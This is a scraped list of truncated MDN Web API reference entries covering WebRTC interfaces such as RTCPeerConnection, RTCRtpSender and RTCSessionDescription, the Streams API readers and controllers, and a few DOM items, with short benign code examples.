the read-only rtcicetransport property role indicates which ice role the transport is fulfilling: that of the controlling agent, or the agent that is being controlled. you can learn more about ice roles in choosing a candidate pair in webrtc connectivity. syntax icerole = rtcicetransport.role; value a domstring specifying whether the rtcicetransport represents the controlling agent or the controlled agent. the value must be one of those found in the enumerated type rtcicerole: "controlling" the rtcicetransport object is serving as the controlling agent. "controlled" the transport is the controlled agent. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.role' in that speci...
RTCIceTransport.state - Web APIs
the read-only rtcicetransport property state returns the current state of the ice transport, so you can determine the state of ice gathering in which the ice agent currently is operating. this differs from the gatheringstate, which only indicates whether or not ice gathering is currently underway. syntax icestate = icetransport.state; value a domstring, whose value is one of those found in the enumerated type rtcicetransportstate, which indicates the stage of ice gathering that's currently underway. its value will be one of the following: "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote device to begin to transmit the remote candidates, or both. in this state, checking of candidates to look for those which might be acceptable has not ...
RTCIdentityErrorEvent.idp - Web APIs
firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent.loginUrl - Web APIs
it can be null and is provided by the identity provider (idp). firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent.protocol - Web APIs
firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityErrorEvent - Web APIs
dationerror. firefox implements this interface under the following name: rtcpeerconnectionidentityerrorevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. properties a rtcidentityerrorevent being an event, this event also implements these properties. rtcidentityerrorevent.idp read only is a domstring describing the domain name of the identity provider (idp) generating the error response. rtcidentityerrorevent.loginurl read only is a domstring giving the url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). rtcidentityerrorevent.protocol read only is a domstring describing the idp protocol in use. methods a rtcidentitye...
RTCIdentityEvent.assertion - Web APIs
firefox implements the interface this property belongs to under the following name: rtcpeerconnectionidentityevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
RTCIdentityEvent - Web APIs
entityresult.. firefox implements this interface under the following name: rtcpeerconnectionidentityevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. properties a rtcidentityevent being an event, this event also implements these properties. rtcidentityevent.assertion read only returns the domstring containing a blob being the assertion generated. methods a rtcidentityevent being an event, this event also implements these properties. there is no specific rtcidentityevent method. examples pc.onidentityresult = function( ev ) { alert("a new identity assertion (blob: '" + ev.assertion + "') has bee...
RTCOfferAnswerOptions - Web APIs
's used as the base type for the options parameter when calling createoffer() or createanswer() on an rtcpeerconnection. each of createoffer() and createanswer() use rtcofferansweroptions as the base type for their options parameter's dictionary. createoffer() uses rtcofferoptions and createanswer() uses rtcansweroptions. properties voiceactivitydetection optional for configurations of systems and codecs that are able to detect when the user is speaking and toggle muting on and off automatically, this option enables and disables that behavior. the default value is true, enabling this functionality specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferansweroptions' in that specification. ...
RTCPeerConnection.close() - Web APIs
this also releases any resources in use by the ice agent, including turn permissions. ...
RTCPeerConnection.createDataChannel() - Web APIs
hannel are required to arrive at their destination in the same order in which they were sent (true), or if they're allowed to arrive out-of-order (false). default: true. maxpacketlifetime optional the maximum number of milliseconds that attempts to transfer a message may take in unreliable mode. while this value is a 16-bit unsigned number, each user agent may clamp it to whatever maximum it deems appropriate. default: null. maxretransmits optional the maximum number of times the user agent should attempt to retransmit a message which fails the first time in unreliable mode. while this value is a16-bit unsigned number, each user agent may clamp it to whatever maximum it deems appropriate. default: null. protocol optional the name of the sub-protocol being used on the rtcdatachannel, if...
RTCPeerConnection.generateCertificate() - Web APIs
the generatecertificate() method of the rtcpeerconnection interface creates and stores an x.509 certificate and corresponding private key then returns an rtccertificate, providing access to it. syntax var cert = rtcpeerconnection.generatecertificate(keygenalgorithm) parameters keygenalgorithm a domstring identifying the algorithm to use in creating the key. rtcpeerconnection.generatecertificate() is a static method, so it is always called on the rtcpeerconnection interface itself, not an instance thereof. return value a reference to an rtccertificate object. example rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { var pc = new rtcpeercon...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
common task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed. see ice restart in lifetime of a webrtc session for further information. usage notes a successful connection attempt will typically involve the state starting at new, then transitioning through checking, then connected, and finally completed. however, under certain circumstances, the connected state can be skipped, causing a connection to transition directly from the checking state to completed. this can happen when only the last checked candidate is successful, and the gathering and end-of-candidates signals both occur before the successful negotiation is completed. ice connection state during ice restarts when an ice restart is processed, the gathering and conn...
RTCPeerConnection: idpassertionerror event - Web APIs
an event handler for this event can be added using the rtcpeerconnection.onidpassertionerror property. bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpassertionerror warning: this event is no longer used; instead, you can detect an assertion error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected. ...
RTCPeerConnection: idpvalidationerror event - Web APIs
an event handler for this event can be added using the rtcpeerconnection.onidpvalidationerror property. bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpvalidationerror warning: this event is no longer used; instead, you can detect a validation error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected. ...
RTCPeerConnection.onaddstream - Web APIs
d from the specification; you should now use rtcpeerconnection.ontrack to watch for track events instead. it is included here in order to help you adapt existing code and understand existing samples, which may not be up-to-date yet. syntax rtcpeerconnection.onaddstream = eventhandler; value a function which handles addstream events. these events, of type mediastreamevent, are sent when streams are added to the connection by the remote peer. the first time an event occurs may be nearly immediately after the remote end of the connection is set using rtcpeerconnection.setremotedescription(); it doesn't wait for a particular stream to be accepted or rejected using sdp negotiation. example this code, based on an older version of our signaling and video calling sample, responds to addstrea...
RTCPeerConnection.peerIdentity - Web APIs
once this promise resolves successfully, the resulting identity is the target peer identity and cannot change for the duration of the connection. syntax var identity = rtcpeerconnection.peeridentity; value a javascript promise which resolves to an rtcidentityassertion that describes the remote peer's identity. ...
RTCPeerConnection.setIdentityProvider() - Web APIs
the triplet given in parameter: its name, the protocol used to communicate with it (optional) and an optional username. the idp will be used only when an assertion is needed. if the signalingstate is set to "closed", an invalidstateerror is raised. syntax pc.setidentityprovider(domainname [, protocol] [, username]); there is no return value for this method. parameters domainname is a domstring is the domain name where the idp is. protocol optional is a domstring representing the protocol used to communicate with the idp. it defaults to "default" and is used to determine the url where the idp is listening. username optional is a domstring representing the username associated with the idp. example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"...
RTCPeerConnectionIceErrorEvent.address - Web APIs
the rtcpeerconnectioniceerrorevent property address is a string which indicates the local ip address being used to communicate with the stun or turn server during negotiations. the error which occurred involved this address. syntax let address = rtcpeerconnectioniceerrorevent.address; value a domstring which specifies the local ip address of the network connection to the ice server with which negotiations were occurring when the error occurred. this address identifies the network interface on the local device which is being used to attempt to establish the connection to the remote peer. this can be useful on multi-homed systems—devices with more than one network connection—to determine which network interface is being used. for example, on a mobile phone, there are typically at lea...
RTCPeerConnectionIceEvent() - Web APIs
options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event. if null, the event indicates the end of candidate gathering. ...
RTCPeerConnectionIceEvent - Web APIs
g an event, this event also implements these properties. rtcpeerconnectioniceevent.candidate read only contains the rtcicecandidate containing the candidate associated with the event, or null if this event indicates that there are no further candidates to come. constructors rtcpeerconnectioniceevent() returns a new rtcpeerconnectioniceevent. it takes two parameters, the first being a domstring representing the type of the event; the second a dictionary containing the rtcicecandidate it refers to. methods a rtcpeerconnectioniceevent being an event, this event also implements these properties. there is no specific rtcdatachannelevent method. examples pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') ha...
RTCPeerConnection: idpvalidationerror event - Web APIs
an event handler for this event can be added via the rtcpeerconnection.onidpvalidationerror property. bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpvalidationerror important: this event is no longer used; it was removed from the specification long ago. instead, you should watch for the rtcpeerconnection.peeridentity promise to be rejected with an operationerror. ...
RTCRtpCodecCapability - Web APIs
ptional an unsigned integer value indicating the maximum number of channels supported by the codec; for example, a codec that supports only mono sound would have a value of 1; stereo codecs would have a 2, etc. clockrate an unsigned long integer specifying the codec's clock rate in hertz (hz). the iana maintains a list of codecs and their parameters, including their clock rates. mimetype a domstring indicating the codec's mime media type and subtype. see codecs used by webrtc for details about potential codecs that might be referenced here. sdpfmtpline optional a domstring giving the format specific parameters field from the a=fmtp line in the sdp which corresponds to the codec, if such a line exists. if there is no parameters field, this property is left out. description rtcrtpcod...
RTCRtpEncodingParameters.maxBitrate - Web APIs
number of bits per second to allow a track encoded with this encoding to use. syntax rtpencodingparameters.maxbitrate = maxbitspersecond; rtpencodingparameters = { maxbitrate: maxbitspersecond }; maxbitspersecond = rtpencodingparameters.maxbitrate; value an unsigned long integer value specifying the maximum bandwidth this encoding is permitted to use for a track of media it encodes in terms of bits per second. other parameters may further reduce the bandwidth used by the track; for example, maxframerate will, if set low enough, constrain the bandwidth as well. in addition, there's no guarantee that the network interface can support the specified bandwidth, in which case the actual bandwidth will be lower. this value is computed using the standard transport independent application ...
RTCRtpEncodingParameters - Web APIs
mitations. maxframerate a double-precision floating-point value specifying the maximum number of frames per second to allow for this encoding. ptime an unsigned long integer value indicating the preferred duration of a media packet in milliseconds. this is typically only relevant for audio encodings. the user agent will try to match this as well as it can, but there is no guarantee. rid a domstring which, if set, specifies an rtp stream id (rid) to be sent using the rid header extension. this parameter cannot be modified using setparameters(). its value can only be set when the transceiver is first created. scaleresolutiondownby only used for senders whose track's kind is video, this is a double-precision floating-point value specifying a factor by which to scale down the video durin...
RTCRtpReceiver.getCapabilities() static function - Web APIs
the static function rtcrtpreceiver.getcapabilities() returns an rtcrtpcapabilities object describing the codecs and capabilities supported by rtcrtpreceivers on the current device. you can, similarly, obtain the capabilities of rtcrtpsenders by calling the static function rtcrtpsender.getcapabilities(). syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the device's capability to receive. all browsers support the primary media kinds: audio and video. return value an rtcrtpcapabilities object stating what capabilities the browser has for receiving the specified media kind over an rtcpeerconnection. if the browser doesn't have any support for the given media kind, the returned value is...
RTCRtpReceiver.getStats() - Web APIs
ing a promise whose fulfillment handler will be called once the results are available. syntax var promise = rtcrtpreceiver.getstats(); return value a javascript promise which is fulfilled once the statistics are available. the promise's fulfillment handler receives as a parameter a rtcstatsreport object containing the collected statistics. the returned statistics include those from all streams which are coming in through the rtcrtpreceiver, as well as any of their dependencies. example this simple example obtains the statistics for an rtcrtpreceiver and updates an element's innertext to display the number of packets lost. receiver.getstats().then(function(stats) { document.getelementbyid("lostpackets").innertext = stats.packetslost; }); specifications specifi...
RTCRtpReceiver - Web APIs
each unique csrc (contributing source) identifier received by the current rtcrtpreceiver in the last ten seconds. rtcrtpreceiver.getparameters() returns an rtcrtpparameters object which contains information about how the rtc data is to be decoded. rtcrtpreceiver.getstats() returns a promise whose fulfillment handler receives a rtcstatsreport which contains statistics about the incoming streams and their dependencies. rtcrtpreceiver.getsynchronizationsources() returns an array including one rtcrtpsynchronizationsource instance for each unique ssrc (synchronization source) identifier received by the current rtcrtpreceiver in the last ten seconds. static methods rtcrtpreceiver.getcapabilities() returns the most optimistic view of the capabilities of the system for receiving media...
RTCRtpSendParameters.encodings - Web APIs
mitations. maxframerate a double-precision floating-point value specifying the maximum number of frames per second to allow for this encoding. ptime an unsigned long integer value indicating the preferred duration of a media packet in milliseconds. this is typically only relevant for audio encodings. the user agent will try to match this as well as it can, but there is no guarantee. rid a domstring which, if set, specifies an rtp stream id (rid) to be sent using the rid header extension. this parameter cannot be modified using setparameters(). its value can only be set when the transceiver is first created. scaleresolutiondownby only used for senders whose track's kind is video, this is a double-precision floating-point value specifying a factor by which to scale down the video durin...
RTCRtpSender.getCapabilities() static function - Web APIs
the static function rtcrtpsender.getcapabilities() returns an rtcrtpcapabilities object describing the codecs and capabilities supported by the rtcrtpsender. you can, similarly, obtain the capabilities of rtcrtpreceivers by calling the static function rtcrtpreceiver.getcapabilities(). syntax let rtpcapabilities = rtcrtpsender.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the sender's capability to receive. all browsers support the primary media kinds: audio and video. return value an rtcrtpcapabilities object stating what capabilities the browser has for sending the specified media kind over an rtcpeerconnection. if the browser doesn't have any support for the given media kind, the returned value is null. description a...
RTCRtpSender.getStats() - Web APIs
ning a promise which is fulfilled when the results are available. syntax var promise = rtcrtpsender.getstats(); return value a javascript promise which is fulfilled once the statistics are available. the promise's fulfillment handler receives as a parameter a rtcstatsreport object containing the collected statistics. the returned rtcstatsreport accumulates the statistics for all of the streams being sent using the rtcrtpsender, as well as the statistics for any dependencies those streams have. example this simple example obtains the statistics for an rtcrtpsender and updates an element's innertext to display the current round trip time for requests on the sender. sender.getstats().then(function(stats) { document.getelementbyid("currentrtt").innertext = stats.roundtriptim...
RTCRtpSender.setParameters() - Web APIs
at setparameters() can only be called to alter changes made by a specific previous call to getparameters(). return value a promise that resolves when the rtcrtpsender.track property is updated with the given parameters. exceptions if an error occurs, the returned promise is rejected with the appropriate exception from the list below. invalidmodificationerror one of the following problems was detected: the number of encodings specified in the parameters object's encodings property does not match the number of encodings currently listed for the rtcrtpsender. you cannot change the number of encoding options once the sender has been created. the order of the specified encodings has changed from the current list's order. an attempt has been made to alter a property that cannot...
RTCRtpSender - Web APIs
ansports have been combined into a single transport. use the transport property instead. methods rtcrtpsender.getparameters() returns a rtcrtpparameters object describing the current configuration for the encoding and transmission of media on the track. rtcrtpsender.getstats() returns a promise which is fulfilled with a rtcstatsreport which provides statistics data for all outbound streams being sent using this rtcrtpsender. rtcrtpsender.setparameters() applies changes to parameters which configure how the track is encoded and transmitted to the remote peer. rtcrtpsender.setstreams() sets the mediastream(s) associated with the track being transmitted by this sender. rtcrtpsender.replacetrack() attempts to replace the track currently being sent by the rtcrtpsender with another...
RTCRtpTransceiver.currentDirection - Web APIs
the read-only rtcrtptransceiver property currentdirection is a string which indicates the current directionality of the transceiver. its value is one of the strings defined by the rtcrtptransceiverdirection enumeration. you can examine and set the transceiver's preferred directionality using direction property. syntax var direction = rtcrtptransceiver.currentdirection value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the table below. value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp d...
RTCRtpTransceiver.direction - Web APIs
the rtcrtptransceiver property direction is a string which indicates the transceiver's preferred directionality. its value must be one of the strings defined by the rtcrtptransceiverdirection enumeration. the transceiver's current direction is indicated by the currentdirection property. syntax var direction = rtcrtptransceiver.direction value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the table below. value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" of...
RTCRtpTransceiver.mid - Web APIs
its value is taken from the media id of the sdp m-line. ...
RTCRtpTransceiver.stop() - Web APIs
transceiver has been stopped. this method does nothing if the transceiver is already stopped. syntax rtcrtptransceiver.stop() paramters none. return value undefined exceptions invalidstateerror the rtcpeerconnection of which the transceiver is a member is closed. usage notes when you call stop() on a transceiver, the sender immediately stops sending media and each of its rtp streams are closed using the rtcp "bye" message. the receiver then stops receiving media; the receiver's track is stopped, and the transceiver's direction is changed to stopped, and renegotiation is triggered by sending a negotiationneeded event to the rtcpeerconnection. the negotiation process causes currentnegotiation to be set to stopped, finally indicating that the transceiver has been fully stopped...
RTCRtpTransceiver - Web APIs
the webrtc interface rtcrtptransceiver describes a permanent pairing of an rtcrtpsender and an rtcrtpreceiver, along with some shared state. each sdp media section describes one bidirectional srtp ("secure real time protocol") stream (excepting the media section for rtcdatachannel, if present). this pairing of send and receive srtp streams is significant for some applications, so rtcrtptransceiver is used to represent this pairing, along with other important state from the media section. each non-disabled srtp media section is always represented by exactly one transceiver. a transceiver is uniquely identified using its mid property, which is the same as the media id (mid) of its corresponding m-line. an rtcrtptransceiver is associated with an m-line if its mid is non-null; otherwise it's ...
RTCRtpTransceiverInit - Web APIs
o provide configuration options for the new transceiver. properties direction optional the new transceiver's preferred directionality. this value is used to initialize the new rtcrtptransceiver object's rtcrtptransceiver.direction property. sendencodings optional a list of encodings to allow when sending rtp media from the rtcrtpsender. each entry is of type rtcrtpencodingparameters. streams optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the streams that will be specified by that event. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverinit' in that specification. ...
RTCSctpTransport - Web APIs
ies also inherits properties from: eventtarget rtcsctptransport.maxchannelsread only an integer value indicating the maximum number of rtcdatachannels that can be open simultaneously. rtcsctptransport.maxmessagesizeread only an integer value indicating the maximum size, in bytes, of a message which can be sent using the rtcdatachannel.send() method. rtcsctptransport.stateread only a domstring enumerated value indicating the state of the sctp transport. rtcsctptransport.transportread only an rtcdtlstransport object representing the dtls transport used for the transmission and receipt of data packets. event handlers rtcsctptransport.onstatechange fired when the rtcsctptransport.state changes. methods this interface has no methods, but inherits methods from: eventtarget ...
RTCSessionDescription() - Web APIs
ods which take sdp as input now directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself. syntax sessiondescription = new rtcsessiondescription(rtcsessiondescriptioninit); values rtcsessiondescriptioninit optional an object providing the default values for the session description; the object conforms to the rtcsessiondescriptioninit dictionary. that dictionary has the following properties: type required. a string which is a member of the rtcsdptype enum; it must have one of the following values: this enum defines strings that describe the current state of the session description, as used in the type property. the session description's type will be specified using one of these values. ...
RTCSessionDescription.toJSON() - Web APIs
hod generates a json description of the object. both properties, type and sdp, are contained in the generated json. syntax var jsonvalue = sd.tojson(); the result value is a json object containing the following values: "type", containing the value of the rtcsessiondescription.type property and can be one of the following values: "offer", "answer", "pranswer" or null. "sdp", containing a domstring, or null, with the sdp message corresponding to rtcsessiondescription.sdp property. example // sd is a rtcsessiondescriptor alert(json.stringify(sd)); // this call the tojson() method behind the scene. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription: tojson()' in that s...
RTCSessionDescription - Web APIs
on configuration options that the sender of the description supports. once the two peers agree upon a configuration for the connection, negotiation is complete. properties the rtcsessiondescription interface doesn't inherit any properties. rtcsessiondescription.type read only an enum of type rtcsdptype describing the session description's type. rtcsessiondescription.sdp read only a domstring containing the sdp describing the session. constants rtcsdptype this enum defines strings that describe the current state of the session description, as used in the type property. the session description's type will be specified using one of these values. value description answer the sdp contained in the sdp property is the definitive choice in the exchange. ...
RTCSessionDescriptionCallback - Web APIs
the rtcsessiondescriptioncallback type is used to represent the callback function passed into the deprecated callback-based version of createoffer() or createanswer() when using them to create offers or answers. because this function type is part of the legacy webrtc api, you should avoid using it (and the callback-based forms of createoffer() and createanswer() that make use of it). syntax rtcsessiondescriptioncallback(description); parameters description an rtcsessiondescriptioninit (or rtcsessiondescription) object describing the session being offered or being accepted. this object contains the type and sdp properties which are part of rtcsessiondescription. return value the callback doesn't need to return anything, so the return value is undefined. example var pc = new ...
RTCStats.id - Web APIs
Web › API › RTCStats › id
the id property of the rtcstats dictionary is a string which uniquely identifies the object for which this rtcstats object provides statistics. using the id, you can correlate two or more rtcstats-based objects in order to monitor statistics over time for a given webrtc object, such as an rtp stream, an rtcpeerconnection, or an rtcdatachannel. syntax var id = rtcstats.id; value a domstring which uniquely identifies the object for which this rtcstats-based object provides statistics. the format of the id string is not defined by the specification, so you cannot reliably make any assumptions about the contents of the string, or assume that the format of the string will remain unchanged for a given object type. specifications specification status comment webrtc 1...
RTCStats.type - Web APIs
Web › API › RTCStats › type
the rtcstats dictionary's property type is a string which specifies the type of statistic represented by the object, where the permitted values are drawn from the enum type rtcstatstype. the string can be used to determine which of the rtcstats-based dictionaries are the foundation of the statistics object. syntax var type = rtcstats.type; value a domstring which specifies which type of statistic is represented by the object. the string comes from the rtcstatstype enum and corrsponds to one of the rtcstats-based statistic object types. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.type' in that specification. candidate recommendation initial definition. ...
RTCTrackEvent() - Web APIs
cpeerconnector's ontrack event handler as appropriate. syntax trackevent = new rtctrackevent(eventinfo); parameters eventinfo an object based on the rtctrackeventinit dictionary, providing information about the track which has been added to the rtcpeerconnection. this object has the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media. streams optional an array of mediastream objects representing each of the streams that comprise the event's corresponding track. track the mediastreamtrack the event is associated with. transceiver the rtcrtptransceiver associated with the event. return value a new rtctrackevent describing a track which has been added to the rtcpeerconnection. specifications specification status ...
RTCTrackEventInit.receiver - Web APIs
the rtctrackeventinit dictionary's receiver property specifies the rtcrtpreceiver associated with the event. syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtpreceiver = trackeventinit.receiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the transceiver includes its own receiver property, which will always be the same rtcrtpreceiver as this one. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.receiver' in that specific...
RTCTrackEventInit.track - Web APIs
this is the track that's being added to the rtcpeerconnection. ...
RTCTrackEventInit.transceiver - Web APIs
the rtctrackeventinit dictionary's transceiver property specifies the rtcrtptransceiver associated with the track event. the transceiver pairs the track's receiver with an rtcrtpsender to allow bidirectional communication. syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtptransceiver = trackeventinit.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. specifications specification...
RTCTrackEventInit - Web APIs
the webrtc api's rtctrackeventinit dictionary is used to provide information describing an rtctrackevent when instantiating a new track event using new rtctrackevent(). properties rtctrackeventinit inherits properties from the eventinit dictionary, and also includes the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media. streams optional an array of mediastream objects representing each of the streams that comprise the event's corresponding track. track the mediastreamtrack the event is associated with. transceiver the rtcrtptransceiver associated with the event. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit' in t...
RadioNodeList.value - Web APIs
ty, the first radio button input element whose value property is equal to the new value will be set to checked. syntax value = radionodelist.value; radionodelist.value = string; example html <form> <label><input type="radio" name="color" value="blue">blue</label> <label><input type="radio" name="color" value="red">red</label> </form> javascript // get the form const form = document.forms[0]; // get the form's radio buttons const radios = form.elements['color']; // choose the "red" option radios.value = 'red'; result specifications specification status comments html living standardthe definition of 'radionodelist.value' in that specification. living standard initial definition. ...
Range.extractContents() - Web APIs
ent. partially selected nodes are cloned to include the parent tags necessary to make the document fragment valid. syntax documentfragment = range.extractcontents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.extractcontents(); document.body.appendchild(documentfragment); moving items between containers this example lets you move items between two containers. select one or more item, and then click "swap" to move them to the opposite container. html <p id="list1">123456</p> <button id="swap">swap selected item(s)</button> <p id="list2">abcdef</p> css body { pointer-events: none; } p { border: 1px solid; font-size: 2em; padding: .3em; } button { font-size: 1.2e...
ReadableByteStreamController.byobRequest - Web APIs
living standard initial definition. ...
ReadableByteStreamController.close() - Web APIs
hunks from the stream, but once those are read, the stream will become closed. syntax readablebytestreamcontroller.close(); parameters none. return value undefined. exceptions typeerror the source object is not a readablebytestreamcontroller, or the stream is not readable for some other reason. examples tbd. specifications specification status comment streamsthe definition of 'close()' in that specification. living standard initial definition. ...
ReadableByteStreamController.desiredSize - Web APIs
living standard initial definition. ...
ReadableByteStreamController.enqueue() - Web APIs
nk); parameters chunk the chunk to enqueue. return value undefined. exceptions typeerror the source object is not a readablebytestreamcontroller, or the stream cannot be read for some other reason, or the chunk is not an object, or the chunk's internal array buffer is non-existant or detached. examples tbd. specifications specification status comment streamsthe definition of 'enqueue()' in that specification. living standard initial definition. ...
ReadableByteStreamController.error() - Web APIs
sociated stream to error. syntax readablebytestreamcontroller.error(e); parameters e the error you want future interactions to fail with. return value undefined. exceptions typeerror the source object is not a readablebytestreamcontroller, or the stream is not readable for some other reason. examples tbd. specifications specification status comment streamsthe definition of 'error()' in that specification. living standard initial definition. ...
ReadableStream.locked - Web APIs
e stream is locked to a reader. syntax var locked = readablestream.locked; value a boolean indicating whether or not the readable stream is locked. examples const stream = new readablestream({ ... }); const reader = stream.getreader(); stream.locked // should return true, as the stream has been locked to a reader specifications specification status comment streamsthe definition of 'locked' in that specification. living standard initial definition. ...
ReadableStream.pipeTo() - Web APIs
rror that occurs during canceling the source. signal: if set to an abortsignal object, ongoing pipe operations can then be aborted via the corresponding abortcontroller. return value a promise that resolves when the piping process has completed. exceptions typeerror the writablestream and/or readablestream objects are not a writable stream/readable stream, or one or both of the streams are locked. examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specification status comment streamsthe definition of 'pipeto()' in that specification. living sta...
ReadableStreamBYOBReader.ReadableStreamBYOBReader() - Web APIs
stream the readablestream to be read. return value an instance of the readablestreambyobreader object. exceptions typeerror the supplied stream parameter is not a readablestream, or it is already locked for reading by another reader, or its stream controller is not a readablebytestreamcontroller. examples tbd specifications specification status comment streamsthe definition of 'readablestreambyobreader()' in that specification. living standard initial definition. ...
ReadableStreamBYOBReader.closed - Web APIs
living standard initial definition. ...
ReadableStreamBYOBReader.read() - Web APIs
form { value: undefined, done: true }. if the stream becomes errored, the promise will be rejected with the relevant error. exceptions typeerror the source object is not a readablestreambyobreader, the stream has no owner, the view is not an object or has become detached, or the view's length is 0. examples tbd. specifications specification status comment streamsthe definition of 'read()' in that specification. living standard initial definition. ...
ReadableStreamBYOBReader.releaseLock() - Web APIs
s readablestreambyobreader.read() method has not finished. this will result in a typeerror being thrown. syntax readablestreambyobreader.releaselock(); parameters none. return value undefined. exceptions typeerror the source object is not a readablestreambyobreader, or a read request is pending. examples tbd. specifications specification status comment streamsthe definition of 'releaselock()' in that specification. living standard initial definition. ...
ReadableStreamBYOBRequest.respond() - Web APIs
living standard initial definition. ...
ReadableStreamBYOBRequest.respondWithNewView() - Web APIs
living standard initial definition. ...
ReadableStreamBYOBRequest.view - Web APIs
the view getter property of the readablestreambyobrequest interface returns the current view. syntax var view = readablestreambyobrequestinstance.view; value a typed array representing the destination region to which the controller can write generated data. examples tbd. specifications specification status comment streamsthe definition of 'view' in that specification. living standard initial definition. ...
ReadableStreamBYOBRequest - Web APIs
the readablestreambyobrequest interface of the streams api represents a pull request into a readablebytestreamcontroller view. a view, as mentioned below, refers to a typed array representing the destination region to which the associated readablebytestreamcontroller controller can write generated data. constructor none. readablestreambyobrequest instance is created automatically by readablebytestreamcontroller as needed. properties readablestreambyobrequest.view read only returns the current view. methods readablestreambyobrequest.respond() xxx readablestreambyobrequest.respondwithnewview() xxx examples tbd. specifications specification status comment streamsthe definition of 'readablestreambyobrequest' in that specification. living st...
ReadableStreamDefaultController.close() - Web APIs
living standard initial definition. ...
ReadableStreamDefaultController.desiredSize - Web APIs
living standard initial definition. ...
ReadableStreamDefaultController.enqueue() - Web APIs
living standard initial definition. ...
ReadableStreamDefaultController.error() - Web APIs
living standard initial definition. ...
ReadableStreamDefaultReader.closed - Web APIs
yntax var closed = readablestreamdefaultreader.closed; value a promise. examples in this snippet, a previously-created reader is queried to see if the stream has been closed. when it is closed, the promise fulfills and the message is logged to the console. reader.closed.then(() => { console.log('reader closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification. living standard initial definition. ...
ReadableStreamDefaultReader.releaseLock() - Web APIs
. syntax readablestreamdefaultreader.releaselock(); parameters none. return value undefined. exceptions typeerror the source object is not a readablestreamdefaultreader, or a read request is pending. examples function fetchstream() { const reader = stream.getreader(); ... reader.releaselock() ... } specifications specification status comment streamsthe definition of 'releaselock()' in that specification. living standard initial definition. ...
RenderingContext - Web APIs
typedef which can refer to any one of the interfaces that represent a graphics rendering context within a <canvas> element: canvasrenderingcontext2d, webglrenderingcontext, or webgl2renderingcontext. by using the shorthand renderingcontext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as such, renderingcontext is an implementation detail, and isn't something web developers directly use. there is no renderingcontext interface, and there are no objects which implement type renderingcontext. the primary use of this type is the definition of the <ca...
Reporting API - Web APIs
